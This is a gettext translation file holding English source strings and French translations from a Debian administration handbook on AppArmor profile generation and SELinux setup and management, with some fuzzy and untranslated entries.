msgstr "Ici, le programme requiert les permissions de lecture sur <filename>/etc/nsswitch.conf</filename>. <command>aa-genprof</command> a détecté que cette permission était déjà accordée par plusieurs « abstractions », et les offre comme des choix possibles. Une abstraction fournit un ensemble réutilisable de règles de contrôle d'accès, en regroupant des règles qui sont souvent utilisées de concert. Dans notre cas précis, ce fichier est généralement utilisé par les fonctions de la bibliothèque C standard liées à la résolution de noms, et nous choisissons donc « 3 » pour inclure le choix « #include <abstractions/nameservice> », puis « A » pour l'autoriser."
#, fuzzy
#| msgid "Notice that this access request is not part of the dhclient profile but of the new profile that we created when we allowed <filename>/usr/lib/NetworkManager/nm-dhcp-helper</filename> to run with its own profile."
msgid "Notice that this access request is not part of the dhclient profile but of the new profile that we created when we allowed <filename>/usr/sbin/dhclient-script</filename> to run with its own profile."
msgstr "Notons que cette tentative d'accès ne fait pas partie du profil dhclient, mais du nouveau profil que nous avons créé lorsque nous avons autorisé <filename>/usr/lib/NetworkManager/nm-dhcp-helper</filename> à fonctionner sous son propre profil."
msgid "After having gone through all the logged events, the program offers to save all the profiles that were created during the run. In this case, we have two profiles that we save at once with “Save” (but you can save them individually too) before leaving the program with “Finish”."
msgstr "Une fois que tous les événements enregistrés ont été examinés, le programme propose de sauver tous les profils qui ont été créés pendant l'exécution. Dans notre cas, nous avons deux profils que nous enregistrons d'un coup avec « Save » (mais nous aurions aussi pu les enregistrer un par un) avant de quitter le programme avec « Finish »."
msgid "<command>aa-genprof</command> is in fact only a smart wrapper around <command>aa-logprof</command>: it creates an empty profile, loads it in complain mode and then run <command>aa-logprof</command> which is a tool to update a profile based on the profile violations that have been logged. So you can re-run that tool later to improve the profile that you just created."
msgstr "<command>aa-genprof</command> n'est en fait qu'un petit script intelligent qui utilise <command>aa-logprof</command> : il crée un profil vide, le charge en mode relâché, puis lance <command>aa-logprof</command>. Ce dernier est un outil qui met à jour un profil en fonction des violations qui ont été enregistrées. On peut donc relancer cet outil plus tard, de manière à améliorer le profil nouvellement créé."
#, fuzzy
#| msgid "If you want the generated profile to be complete, you should use the program in all the ways that it is legitimately used. In the case of dhclient, it means running it via Network Manager, running it via ifupdown, running it manually, etc. In the end, you might get a <filename>/etc/apparmor.d/sbin.dhclient</filename> close to this:"
msgid "If you want the generated profile to be complete, you should use the program in all the ways that it is legitimately used. In the case of dhclient, it means running it via Network Manager, running it via ifupdown, running it manually, etc. In the end, you might get a <filename>/etc/apparmor.d/usr.sbin.dhclient</filename> close to this:"
msgstr "Pour que le profil généré soit complet, il faut utiliser le programme de toutes les manières légitimement possibles. Dans le cas de dhclient, cela implique de le lancer via Network Manager, mais aussi via ifupdown, à la main, etc. À la fin, on obtient un <filename>/etc/apparmor.d/sbin.dhclient</filename> qui ressemble à ceci :"
#, fuzzy
#| msgid ""
#| "\n"
#| "# Last Modified: Tue Sep 8 21:40:02 2015\n"
#| "#include <tunables/global>\n"
#| "\n"
#| "/sbin/dhclient {\n"
#| " #include <abstractions/base>\n"
#| " #include <abstractions/nameservice>\n"
#| "\n"
#| " capability net_bind_service,\n"
#| " capability net_raw,\n"
#| "\n"
#| " /bin/dash r,\n"
#| " /etc/dhcp/* r,\n"
#| " /etc/dhcp/dhclient-enter-hooks.d/* r,\n"
#| " /etc/dhcp/dhclient-exit-hooks.d/* r,\n"
#| " /etc/resolv.conf.* w,\n"
#| " /etc/samba/dhcp.conf.* w,\n"
#| " /proc/*/net/dev r,\n"
#| " /proc/filesystems r,\n"
#| " /run/dhclient*.pid w,\n"
#| " /sbin/dhclient mr,\n"
#| " /sbin/dhclient-script rCx,\n"
#| " /usr/lib/NetworkManager/nm-dhcp-helper Px,\n"
#| " /var/lib/NetworkManager/* r,\n"
#| " /var/lib/NetworkManager/*.lease rw,\n"
#| " /var/lib/dhcp/*.leases rw,\n"
#| "\n"
#| " profile /sbin/dhclient-script flags=(complain) {\n"
#| " #include <abstractions/base>\n"
#| " #include <abstractions/bash>\n"
#| "\n"
#| " /bin/dash rix,\n"
#| " /etc/dhcp/dhclient-enter-hooks.d/* r,\n"
#| " /etc/dhcp/dhclient-exit-hooks.d/* r,\n"
#| " /sbin/dhclient-script r,\n"
#| "\n"
#| " }\n"
#| "}\n"
#| " "
msgid ""
"\n"
"# Last Modified: Fri Jul 5 00:51:02 2019\n"
"#include <tunables/global>\n"
"\n"
"/usr/sbin/dhclient {\n"
" #include <abstractions/base>\n"
" #include <abstractions/nameservice>\n"
"\n"
" capability net_bind_service,\n"
" capability net_raw,\n"
"\n"
" /bin/dash r,\n"
" /etc/dhcp/* r,\n"
" /etc/dhcp/dhclient-enter-hooks.d/* r,\n"
" /etc/dhcp/dhclient-exit-hooks.d/* r,\n"
" /etc/resolv.conf.* w,\n"
" /etc/samba/dhcp.conf.* w,\n"
" /proc/*/net/dev r,\n"
" /proc/filesystems r,\n"
" /run/dhclient*.pid w,\n"
" /sbin/dhclient mr,\n"
" /sbin/dhclient-script rCx,\n"
" /usr/lib/NetworkManager/nm-dhcp-helper Px,\n"
" /var/lib/NetworkManager/* r,\n"
" /var/lib/NetworkManager/*.lease rw,\n"
" /var/lib/dhcp/*.leases rw,\n"
"\n"
" owner /etc/** mrwk,\n"
" owner /var/** mrwk,\n"
" owner /{,var/}run/** mrwk,\n"
"}\n"
" "
msgstr ""
"\n"
"# Last Modified: Tue Sep 8 21:40:02 2015\n"
"#include <tunables/global>\n"
"\n"
"/sbin/dhclient {\n"
" #include <abstractions/base>\n"
" #include <abstractions/nameservice>\n"
"\n"
" capability net_bind_service,\n"
" capability net_raw,\n"
"\n"
" /bin/dash r,\n"
" /etc/dhcp/* r,\n"
" /etc/dhcp/dhclient-enter-hooks.d/* r,\n"
" /etc/dhcp/dhclient-exit-hooks.d/* r,\n"
" /etc/resolv.conf.* w,\n"
" /etc/samba/dhcp.conf.* w,\n"
" /proc/*/net/dev r,\n"
" /proc/filesystems r,\n"
" /run/dhclient*.pid w,\n"
" /sbin/dhclient mr,\n"
" /sbin/dhclient-script rCx,\n"
" /usr/lib/NetworkManager/nm-dhcp-helper Px,\n"
" /var/lib/NetworkManager/* r,\n"
" /var/lib/NetworkManager/*.lease rw,\n"
" /var/lib/dhcp/*.leases rw,\n"
"\n"
" profile /sbin/dhclient-script flags=(complain) {\n"
" #include <abstractions/base>\n"
" #include <abstractions/bash>\n"
"\n"
" /bin/dash rix,\n"
" /etc/dhcp/dhclient-enter-hooks.d/* r,\n"
" /etc/dhcp/dhclient-exit-hooks.d/* r,\n"
" /sbin/dhclient-script r,\n"
"\n"
" }\n"
"}\n"
" "
msgid "And <filename>/etc/apparmor.d/usr.sbin.dhclient-script</filename> might be similar to this:"
msgstr ""
msgid ""
"\n"
"# Last Modified: Fri Jul 5 00:51:55 2019\n"
"#include <tunables/global>\n"
"\n"
"/usr/sbin/dhclient-script {\n"
" #include <abstractions/base>\n"
" #include <abstractions/bash>\n"
" #include <abstractions/lightdm>\n"
"}"
msgstr ""
msgid "Introduction to SELinux"
msgstr "Introduction Ă SELinux"
msgid "<primary>SELinux</primary>"
msgstr "<primary>SELinux</primary>"
msgid "SELinux (<emphasis>Security Enhanced Linux</emphasis>) is a <emphasis>Mandatory Access Control</emphasis> system built on Linux's LSM (<emphasis>Linux Security Modules</emphasis>) interface. In practice, the kernel queries SELinux before each system call to know whether the process is authorized to do the given operation."
msgstr "SELinux <foreignphrase>(Security Enhanced Linux)</foreignphrase> est un système de contrôle d'accès obligatoire <foreignphrase>(Mandatory Access Control)</foreignphrase> qui s'appuie sur l'interface <foreignphrase>Linux Security Modules</foreignphrase> fournie par le noyau Linux. Concrètement, le noyau interroge SELinux avant chaque appel système pour savoir si le processus est autorisé à effectuer l'opération concernée."
msgid "SELinux uses a set of rules — collectively known as a <emphasis>policy</emphasis> — to authorize or forbid operations. Those rules are difficult to create. Fortunately, two standard policies (<emphasis>targeted</emphasis> and <emphasis>strict</emphasis>) are provided to avoid the bulk of the configuration work."
msgstr "SELinux s'appuie sur un ensemble de règles <foreignphrase>(policy)</foreignphrase> pour autoriser ou interdire une opération. Ces règles sont assez délicates à créer, mais heureusement deux jeux de règles standards (<foreignphrase>targeted</foreignphrase> et <foreignphrase>strict</foreignphrase>) sont fournies pour éviter le plus gros du travail de configuration."
msgid "With SELinux, the management of rights is completely different from traditional Unix systems. The rights of a process depend on its <emphasis>security context</emphasis>. The context is defined by the <emphasis>identity</emphasis> of the user who started the process, the <emphasis>role</emphasis> and the <emphasis>domain</emphasis> that the user carried at that time. The rights really depend on the domain, but the transitions between domains are controlled by the roles. Finally, the possible transitions between roles depend on the identity."
msgstr "Le système de permissions de SELinux est totalement différent de ce qu'offre un système Unix traditionnel. Les droits d'un processus dépendent de son <emphasis>contexte de sécurité</emphasis>. Le contexte est défini par l'<emphasis>identité</emphasis> de celui qui a démarré le processus, le <emphasis>rôle</emphasis> et le <emphasis>domaine</emphasis> qu'il avait à ce moment. Les permissions proprement dites dépendent du domaine, mais les transitions entre les domaines sont contrôlées par les rôles. Enfin, les transitions autorisées entre rôles dépendent de l'identité."
msgid "Security contexts and Unix users"
msgstr "Contextes de sécurité et utilisateurs Unix"
#, fuzzy
#| msgid "In practice, during login, the user gets assigned a default security context (depending on the roles that they should be able to endorse). This defines the current domain, and thus the domain that all new child processes will carry. If you want to change the current role and its associated domain, you must call <command>newrole -r <replaceable>role_r</replaceable> -t <replaceable>domain_t</replaceable></command> (there's usually only a single domain allowed for a given role, the <literal>-t</literal> parameter can thus often be left out). This command authenticates you by asking you to type your password. This feature forbids programs to automatically switch roles. Such changes can only happen if they are explicitly allowed in the SELinux policy."
msgid "In practice, during login, the user gets assigned a default security context (depending on the roles that they should be able to endorse). This defines the current domain, and thus the domain that all new child processes will carry. If you want to change the current role and its associated domain, you must call <command>newrole -r <replaceable>role_r</replaceable> -t <replaceable>domain_t</replaceable></command> (there is usually only a single domain allowed for a given role, the <literal>-t</literal> parameter can thus often be left out). This command authenticates you by asking you to type your password. This feature forbids programs to automatically switch roles. Such changes can only happen if they are explicitly allowed in the SELinux policy."
msgstr "En pratique, au moment de la connexion, l'utilisateur se voit attribuer un contexte de sécurité par défaut (en fonction des rôles qu'il a le droit d'assumer). Cela fixe le domaine dans lequel il évolue. S'il veut changer de rôle et de domaine associé, il doit employer la commande <command>newrole -r <replaceable>role_r</replaceable> -t <replaceable>domaine_t</replaceable></command> (il n'y a généralement qu'un seul domaine possible pour un rôle donné et le paramètre <literal>-t</literal> est donc souvent inutile). Cette commande demande à l'utilisateur son mot de passe afin de l'authentifier. Cette caractéristique empêche tout programme de pouvoir changer de rôle de manière automatique. De tels changements ne peuvent avoir lieu que s'ils sont prévus dans l'ensemble de règles."
msgid "Obviously the rights do not apply to all <emphasis>objects</emphasis> (files, directories, sockets, devices, etc.). They can vary from object to object. To achieve this, each object is associated to a <emphasis>type</emphasis> (this is known as labeling). Domains' rights are thus expressed with sets of (dis)allowed operations on those types (and, indirectly, on all objects which are labeled with the given type)."
msgstr "Bien entendu, les droits ne s'appliquent pas universellement à tous les <emphasis>objets</emphasis> (fichiers, répertoires, sockets, périphériques, etc.), ils peuvent varier d'un objet à l'autre. Pour cela, chaque objet est associé à un <emphasis>type</emphasis> (on parle d'étiquetage). Les droits des domaines s'expriment donc en termes d'opérations autorisées (ou non) sur ces types (donc implicitement sur tous les objets qui sont marqués avec le type correspondant)."
msgid "<emphasis>EXTRA</emphasis> Domains and types are equivalent"
msgstr "<emphasis>COMPLÉMENTS</emphasis> Domaine et type sont équivalents"
#, fuzzy
#| msgid "Internally, a domain is just a type, but a type that only applies to processes. That's why domains are suffixed with <literal>_t</literal> just like objects' types."
msgid "Internally, a domain is just a type, but a type that only applies to processes. That is why domains are suffixed with <literal>_t</literal> just like objects' types."
msgstr "En interne, un domaine n'est qu'un type, mais un type qui ne s'applique qu'aux processus. C'est pour cela que les domaines sont suffixés par <literal>_t</literal> tout comme le sont les types affectés aux objets."
msgid "By default, a program inherits its domain from the user who started it, but the standard SELinux policies expect many important programs to run in dedicated domains. To achieve this, those executables are labeled with a dedicated type (for example <command>ssh</command> is labeled with <literal>ssh_exec_t</literal>, and when the program starts, it automatically switches to the <literal>ssh_t</literal> domain). This automatic domain transition mechanism makes it possible to grant only the rights required by each program. It is a fundamental principle of SELinux."
msgstr "Par défaut, un programme exécuté hérite du domaine de l'utilisateur qui l'a démarré. Mais pour la plupart des programmes importants, les règles SELinux standards prévoient de les faire fonctionner dans un domaine dédié. Pour cela, ces exécutables sont étiquetés avec un type dédié (par exemple <command>ssh</command> est étiqueté avec <literal>ssh_exec_t</literal> et lorsque le programme est démarré, il bascule automatiquement dans le domaine <literal>ssh_t</literal>). Ce mécanisme de changement automatique de domaine permet de ne donner que les droits nécessaires au bon fonctionnement de chaque programme et est à la base de SELinux."
msgid "Automatic transitions between domains"
msgstr "Transitions automatiques entre domaines"
msgid "<emphasis>IN PRACTICE</emphasis> Finding the security context"
msgstr "<emphasis>EN PRATIQUE</emphasis> Connaître le contexte de sécurité"
msgid "<primary>security context</primary>"
msgstr "<primary>contexte de sécurité</primary>"
msgid "<primary>context, security context</primary>"
msgstr "<primary>sécurité, contexte de</primary>"
msgid "<primary>MCS (<emphasis>Multi-Category Security</emphasis>)</primary>"
msgstr "<primary>MCS (<foreignphrase>Multi-Category Security</foreignphrase>)</primary>"
msgid "To find the security context of a given process, you should use the <literal>Z</literal> option of <command>ps</command>."
msgstr "Pour connaître le contexte de sécurité appliqué à un processus, il faut employer l'option <literal>Z</literal> de <command>ps</command>."
msgid ""
"<computeroutput>$ </computeroutput><userinput>ps axZ | grep vstfpd</userinput>\n"
"<computeroutput>system_u:system_r:ftpd_t:s0 2094 ? Ss 0:00 /usr/sbin/vsftpd</computeroutput>"
msgstr ""
"<computeroutput>$ </computeroutput><userinput>ps axZ | grep vstfpd</userinput>\n"
"<computeroutput>system_u:system_r:ftpd_t:s0 2094 ? Ss 0:00 /usr/sbin/vsftpd</computeroutput>"
msgid "The first field contains the identity, the role, the domain and the MCS level, separated by colons. The MCS level (<emphasis>Multi-Category Security</emphasis>) is a parameter that intervenes in the setup of a confidentiality protection policy, which regulates the access to files based on their sensitivity. This feature will not be explained in this book."
msgstr "Le premier champ contient l'identité, le rôle, le domaine et le niveau MCS, séparés par des deux-points. Le niveau MCS <foreignphrase>(Multi-Category Security)</foreignphrase> est un paramètre intervenant dans la mise en place d'une politique de protection de la confidentialité, laquelle restreint l'accès aux fichiers selon leur degré de confidentialité. Cette fonctionnalité ne sera pas abordée dans ce livre."
msgid "To find the current security context in a shell, you should call <command>id -Z</command>."
msgstr "Pour connaître le contexte de sécurité actuellement actif dans un terminal de commande, il faut invoquer <command>id -Z</command>."
msgid ""
"<computeroutput>$ </computeroutput><userinput>id -Z</userinput>\n"
"<computeroutput>unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023</computeroutput>"
msgstr ""
"<computeroutput>$ </computeroutput><userinput>id -Z</userinput>\n"
"<computeroutput>unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023</computeroutput>"
msgid "Finally, to find the type assigned to a file, you can use <command>ls -Z</command>."
msgstr "Enfin, pour connaître le type affecté à un fichier, on peut employer <command>ls -Z</command>."
msgid ""
"<computeroutput>$ </computeroutput><userinput>ls -Z test /usr/bin/ssh</userinput>\n"
"<computeroutput>unconfined_u:object_r:user_home_t:s0 test\n"
" system_u:object_r:ssh_exec_t:s0 /usr/bin/ssh</computeroutput>"
msgstr ""
"<computeroutput>$ </computeroutput><userinput>ls -Z test /usr/bin/ssh</userinput>\n"
"<computeroutput>unconfined_u:object_r:user_home_t:s0 test\n"
" system_u:object_r:ssh_exec_t:s0 /usr/bin/ssh</computeroutput>"
msgid "It is worth noting that the identity and role assigned to a file bear no special importance (they are never used), but for the sake of uniformity, all objects get assigned a complete security context."
msgstr "Signalons que l'identité et le rôle associé à un fichier n'ont pas d'importance particulière, ils n'interviennent jamais. Mais par souci d'uniformisation, tous les objets se voient attribuer un contexte de sécurité complet."
msgid "Setting Up SELinux"
msgstr "La mise en route"
msgid "SELinux support is built into the standard kernels provided by Debian. The core Unix tools support SELinux without any modifications. It is thus relatively easy to enable SELinux."
msgstr "Le code de SELinux est intégré dans les noyaux standards fournis par Debian et les programmes Unix de base le gèrent sans modification. Il est donc relativement simple d'activer SELinux."
msgid "The <command>apt install selinux-basics selinux-policy-default</command> command will automatically install the packages required to configure an SELinux system."
msgstr "La commande <command>apt install selinux-basics selinux-policy-default</command> installera automatiquement les paquets nécessaires pour configurer un système SELinux."
msgid "The <emphasis role=\"pkg\">selinux-policy-default</emphasis> package contains a set of standard rules. By default, this policy only restricts access for a few widely exposed services. The user sessions are not restricted and it is thus unlikely that SELinux would block legitimate user operations. However, this does enhance the security of system services running on the machine. To setup a policy equivalent to the old “strict” rules, you just have to disable the <literal>unconfined</literal> module (modules management is detailed further in this section)."
msgstr "Le paquet <command>selinux-policy-default</command> contient un ensemble de règles standards. Par défaut, l'ensemble de règles ne restreint les accès que pour certains services très exposés. Les sessions utilisateur ne sont pas restreintes et il n'y a donc que peu de risques que SELinux bloque des opérations légitimes des utilisateurs. En revanche, cela permet d'apporter un surcroît de sécurité pour les services système fonctionnant sur la machine. Pour obtenir l'équivalent des anciennes règles « strictes », il faut simplement désactiver le module <literal>unconfined</literal> (la gestion des modules est détaillée plus loin)."
msgid "Once the policy has been installed, you should label all the available files (which means assigning them a type). This operation must be manually started with <command>fixfiles relabel</command>."
msgstr "Une fois les règles installées, il reste à étiqueter tous les fichiers disponibles (il s'agit de leur affecter un type). C'est une opération qu'il faut déclencher manuellement avec <command>fixfiles relabel</command>."
msgid "The SELinux system is now ready. To enable it, you should add the <literal>selinux=1 security=selinux</literal> parameter to the Linux kernel. The <literal>audit=1</literal> parameter enables SELinux logging which records all the denied operations. Finally, the <literal>enforcing=1</literal> parameter brings the rules into application: without it SELinux works in its default <emphasis>permissive</emphasis> mode where denied actions are logged but still executed. You should thus modify the GRUB bootloader configuration file to append the desired parameters. One easy way to do this is to modify the <literal>GRUB_CMDLINE_LINUX</literal> variable in <filename>/etc/default/grub</filename> and to run <command>update-grub</command>. SELinux will be active after a reboot."
msgstr "Le système SELinux est prêt, il ne reste plus qu'à l'activer. Pour cela, il faut passer le paramètre <literal>selinux=1 security=selinux</literal> au noyau Linux. Le paramètre <literal>audit=1</literal> active les traces SELinux qui enregistrent les différentes opérations qui ont été refusées. Enfin, le paramètre <literal>enforcing=1</literal> permet de mettre en application l'ensemble des règles : en effet, par défaut SELinux fonctionne en mode <foreignphrase>permissive</foreignphrase> où les actions interdites sont tracées mais malgré tout autorisées. Il faut donc modifier le fichier de configuration du chargeur de démarrage GRUB pour ajouter les paramètres désirés. Le plus simple pour cela est de modifier la variable <literal>GRUB_CMDLINE_LINUX</literal> dans <filename>/etc/default/grub</filename> et d'exécuter <command>update-grub</command>. Au démarrage suivant, SELinux sera actif."
msgid "It is worth noting that the <command>selinux-activate</command> script automates those operations and forces a labeling on next boot (which avoids new non-labeled files created while SELinux was not yet active and while the labeling was going on)."
msgstr "Signalons que le script <command>selinux-activate</command> automatise ces opérations et permet de forcer un étiquetage au prochain redémarrage, ce qui évite d'avoir des fichiers non étiquetés créés alors que SELinux n'était pas encore actif et que l'étiquetage était en cours."
msgid "Managing an SELinux System"
msgstr "La gestion d'un système SELinux"
msgid "<primary><command>semodule</command></primary>"
msgstr "<primary><command>semodule</command></primary>"
msgid "<primary><command>semanage</command></primary>"
msgstr "<primary><command>semanage</command></primary>"
msgid "The SELinux policy is a modular set of rules, and its installation detects and enables automatically all the relevant modules based on the already installed services. The system is thus immediately operational. However, when a service is installed after the SELinux policy, you must be able to manually enable the corresponding module. That is the purpose of the <command>semodule</command> command. Furthermore, you must be able to define the roles that each user can endorse, and this can be done with the <command>semanage</command> command."
msgstr "L'ensemble de règles SELinux est modulaire et son installation détecte et active automatiquement tous les modules pertinents en fonction des services déjà installés. Ainsi, le système est immédiatement fonctionnel. Toutefois, lorsqu'un service est installé après les règles SELinux, il faut pouvoir activer manuellement un module de règles. C'est le rôle de la commande <command>semodule</command>. En outre, il faut pouvoir définir les rôles accessibles à chaque utilisateur ; pour cela c'est la commande <command>semanage</command> qu'il faudra utiliser."
msgid "Those two commands can thus be used to modify the current SELinux configuration, which is stored in <filename>/etc/selinux/default/</filename>. Unlike other configuration files that you can find in <filename>/etc/</filename>, all those files must not be changed by hand. You should use the programs designed for this purpose."
msgstr "Ces deux commandes modifient donc la configuration SELinux courante qui est stockée dans <filename>/etc/selinux/default/</filename>. Contrairement à ce qui se pratique d'habitude avec les fichiers de configuration de <filename>/etc/</filename>, ces fichiers ne doivent pas être modifiés manuellement. Il faut les manipuler en utilisant les programmes prévus pour cela."
msgid "<emphasis>GOING FURTHER</emphasis> More documentation"
msgstr "<emphasis>POUR ALLER PLUS LOIN</emphasis> Plus de documentation"
#, fuzzy
#| msgid "Since the NSA doesn't provide any official documentation, the community set up a wiki to compensate. It brings together a lot of information, but you must be aware that most SELinux contributors are Fedora users (where SELinux is enabled by default). The documentation thus tends to deal specifically with that distribution. <ulink type=\"block\" url=\"http://www.selinuxproject.org\" />"
msgid "Since the NSA doesn't provide any official documentation, the community set up a wiki to compensate. It brings together a lot of information, but you must be aware that most SELinux contributors are Fedora users (where SELinux is enabled by default). The documentation thus tends to deal specifically with that distribution. <ulink type=\"block\" url=\"https://selinuxproject.org\" />"
msgstr "SELinux ne disposant d'aucune documentation officielle rédigée par la NSA, la communauté a mis en place un wiki pour combler ce manque criant. Il rassemble beaucoup d'informations mais il faut tenir compte du fait que la majorité des contributeurs utilisant SELinux sont utilisateurs de Fedora (où SELinux est activé par défaut). La documentation a donc tendance à traiter du cas de cette distribution. <ulink type=\"block\" url=\"http://www.selinuxproject.org\" />"
#, fuzzy
#| msgid "You should also have a look at the dedicated Debian wiki page as well as Russell Coker's blog, who is one of the most active Debian developers working on SELinux support. <ulink type=\"block\" url=\"http://wiki.debian.org/SELinux\" /> <ulink type=\"block\" url=\"http://etbe.coker.com.au/tag/selinux/\" />"
msgid "You should also have a look at the dedicated Debian wiki page as well as Russell Coker's blog, who is one of the most active Debian developers working on SELinux support. <ulink type=\"block\" url=\"https://wiki.debian.org/SELinux\" /> <ulink type=\"block\" url=\"https://etbe.coker.com.au/tag/selinux/\" />"
msgstr "On consultera donc également la page dédiée à SELinux du wiki Debian ainsi que le blog de Russelll Coker, un des développeurs Debian les plus actifs sur SELinux. <ulink type=\"block\" url=\"http://wiki.debian.org/SELinux\" /> <ulink type=\"block\" url=\"http://etbe.coker.com.au/tag/selinux/\" />"
msgid "Managing SELinux Modules"
msgstr "Gestion des modules SELinux"
msgid "Available SELinux modules are stored in the <filename>/usr/share/selinux/default/</filename> directory. To enable one of these modules in the current configuration, you should use <command>semodule -i <replaceable>module.pp.bz2</replaceable></command>. The <emphasis>pp.bz2</emphasis> extension stands for <emphasis>policy package</emphasis> (compressed with bzip2)."
msgstr "Les modules SELinux disponibles sont stockés dans le répertoire <filename>/usr/share/selinux/default/</filename>. Pour activer un de ces modules dans la configuration courante, il faut employer <command>semodule -i <replaceable>module.pp.bz2</replaceable></command>. L'extension <literal>pp.bz2</literal> signifie <foreignphrase>policy package</foreignphrase> que l'on pourrait traduire par « paquet de règles » (comprimé avec bzip2)."
msgid "Removing a module from the current configuration is done with <command>semodule -r <replaceable>module</replaceable></command>. Finally, the <command>semodule -l</command> command lists the modules which are currently installed. It also outputs their version numbers. Modules can be selectively enabled with <command>semodule -e</command> and disabled with <command>semodule -d</command>."
msgstr "À l'inverse, la commande <command>semodule -r <replaceable>module</replaceable></command> retire un module de la configuration courante. Enfin, la commande <command>semodule -l</command> liste les modules qui sont actuellement installés. La commande inclut également le numéro de version du module."
#, fuzzy
#| msgid ""
#| "<computeroutput># </computeroutput><userinput>semodule -i /usr/share/selinux/default/abrt.pp.bz2</userinput>\n"
#| "<computeroutput># </computeroutput><userinput>semodule -l</userinput>\n"
#| "<computeroutput>abrt 1.5.0 Disabled\n"
#| "accountsd 1.1.0 \n"
#| "acct 1.6.0 \n"
#| "[...]</computeroutput>\n"
#| "<computeroutput># </computeroutput><userinput>semodule -e abrt</userinput>\n"
#| "<computeroutput># </computeroutput><userinput>semodule -d accountsd</userinput>\n"
#| "<computeroutput># </computeroutput><userinput>semodule -l</userinput>\n"
#| "<computeroutput>abrt 1.5.0\n"
#| "accountsd 1.1.0 Disabled\n"
#| "acct 1.6.0 \n"
#| "[...]</computeroutput>\n"
#| "<computeroutput># </computeroutput><userinput>semodule -r abrt</userinput>\n"
#| "<computeroutput># </computeroutput><userinput>semodule -l</userinput>\n"
#| "<computeroutput>accountsd 1.1.0 Disabled\n"
#| "acct 1.6.0 \n"
#| "[...]</computeroutput>"
msgid ""
"<computeroutput># </computeroutput><userinput>semodule -i /usr/share/selinux/default/abrt.pp.bz2</userinput>\n"
"<computeroutput>libsemanage.semanage_direct_install_info: abrt module will be disabled after install as there is a disabled instance of this module present in the system.\n"
"# </computeroutput><userinput>semodule -l</userinput>\n"
"<computeroutput>accountsd\n"
"acct\n"
"[...]</computeroutput>\n"
"<computeroutput># </computeroutput><userinput>semodule -e abrt</userinput>\n"
"<computeroutput># </computeroutput><userinput>semodule -d accountsd</userinput>\n"
"<computeroutput># </computeroutput><userinput>semodule -l</userinput>\n"
"<computeroutput>abrt\n"
"acct\n"
"[...]</computeroutput>\n"
"<computeroutput># </computeroutput><userinput>semodule -r abrt</userinput>\n"
"<computeroutput>libsemanage.semanage_direct_remove_key: abrt module at priority 100 is now active.</computeroutput><userinput>semodule -l</userinput>"
msgstr ""
"<computeroutput># </computeroutput><userinput>semodule -i /usr/share/selinux/default/abrt.pp.bz2</userinput>\n"
"<computeroutput># </computeroutput><userinput>semodule -l</userinput>\n"
"<computeroutput>abrt 1.5.0 Disabled\n"
"accountsd 1.1.0 \n"
"acct 1.6.0 \n"
"[...]</computeroutput>\n"
"<computeroutput># </computeroutput><userinput>semodule -e abrt</userinput>\n"
"<computeroutput># </computeroutput><userinput>semodule -d accountsd</userinput>\n"
"<computeroutput># </computeroutput><userinput>semodule -l</userinput>\n"
"<computeroutput>abrt 1.5.0\n"
"accountsd 1.1.0 Disabled\n"
"acct 1.6.0 \n"
"[...]</computeroutput>\n"
"<computeroutput># </computeroutput><userinput>semodule -r abrt</userinput>\n"
"<computeroutput># </computeroutput><userinput>semodule -l</userinput>\n"
"<computeroutput>accountsd 1.1.0 Disabled\n"
"acct 1.6.0 \n"
"[...]</computeroutput>"
msgid "<command>semodule</command> immediately loads the new configuration unless you use its <literal>-n</literal> option. It is worth noting that the program acts by default on the current configuration (which is indicated by the <literal>SELINUXTYPE</literal> variable in <filename>/etc/selinux/config</filename>), but that you can modify another one by specifying it with the <literal>-s</literal> option."
msgstr "<command>semodule</command> recharge immédiatement la nouvelle configuration, sauf si l'on utilise l'option <literal>-n</literal>. Signalons également que le programme modifie par défaut la configuration courante (celle indiquée par la variable <literal>SELINUXTYPE</literal> dans <filename>/etc/selinux/config</filename>) mais qu'on peut en modifier une autre grâce à l'option <literal>-s</literal>."
msgid "Managing Identities"
msgstr "Gestion des identités"
msgid "Every time that a user logs in, they get assigned an SELinux identity. This identity defines the roles that they will be able to endorse. Those two mappings (from the user to the identity and from this identity to roles) are configurable with the <command>semanage</command> command."
msgstr "Chaque fois qu'un utilisateur se connecte, il se voit attribuer une identité SELinux, qui va définir les rôles qu'il va pouvoir assumer. Ces deux correspondances (de l'utilisateur vers l'identité SELinux et de cette identité vers les rôles) se configurent grâce à la commande <command>semanage</command>."
#, fuzzy
#| msgid "You should definitely read the <citerefentry><refentrytitle>semanage</refentrytitle><manvolnum>8</manvolnum></citerefentry> manual page, even if the command's syntax tends to be similar for all the concepts which are managed. You will find common options to all sub-commands: <literal>-a</literal> to add, <literal>-d</literal> to delete, <literal>-m</literal> to modify, <literal>-l</literal> to list, and <literal>-t</literal> to indicate a type (or domain)."
msgid "You should definitely read the <citerefentry><refentrytitle>semanage</refentrytitle><manvolnum>8</manvolnum></citerefentry> manual page. All the managed concepts have their own manual page; for instance, <citerefentry><refentrytitle>semanage-login</refentrytitle><manvolnum>8</manvolnum></citerefentry>. Even if the command's syntax tends to be similar for all the concepts which are managed, it is recommended to read its manual page. You will find common options to most sub-commands: <literal>-a</literal> to add, <literal>-d</literal> to delete, <literal>-m</literal> to modify, <literal>-l</literal> to list, and <literal>-t</literal> to indicate a type (or domain)."
msgstr "La lecture de la page de manuel <citerefentry><refentrytitle>semanage</refentrytitle><manvolnum>8</manvolnum></citerefentry> est indispensable, même si la syntaxe de cette commande ne varie guère selon les concepts manipulés. On retrouvera des options communes aux différentes sous-commandes : <literal>-a</literal> pour ajouter, <literal>-d</literal> pour supprimer, <literal>-m</literal> pour modifier, <literal>-l</literal> pour lister et <literal>-t</literal> pour indiquer un type (ou domaine)."
msgid "<command>semanage login -l</command> lists the current mapping between user identifiers and SELinux identities. Users that have no explicit entry get the identity indicated in the <literal>__default__</literal> entry. The <command>semanage login -a -s user_u <replaceable>user</replaceable></command> command will associate the <emphasis>user_u</emphasis> identity to the given user. Finally, <command>semanage login -d <replaceable>user</replaceable></command> drops the mapping entry assigned to this user."
msgstr "<command>semanage login -l</command> liste les correspondances existantes entre identifiants d'utilisateurs et identités SELinux. Si un utilisateur n'a pas de correspondance explicite, il aura l'identité indiquée en face de <literal>__default__</literal>. La commande <command>semanage login -a -s user_u <replaceable>utilisateur</replaceable></command> va associer l'identité <emphasis>user_u</emphasis> à l'utilisateur. Enfin, <command>semanage login -d <replaceable>utilisateur</replaceable></command> va retirer la correspondance affectée à l'utilisateur."
#, fuzzy
#| msgid ""
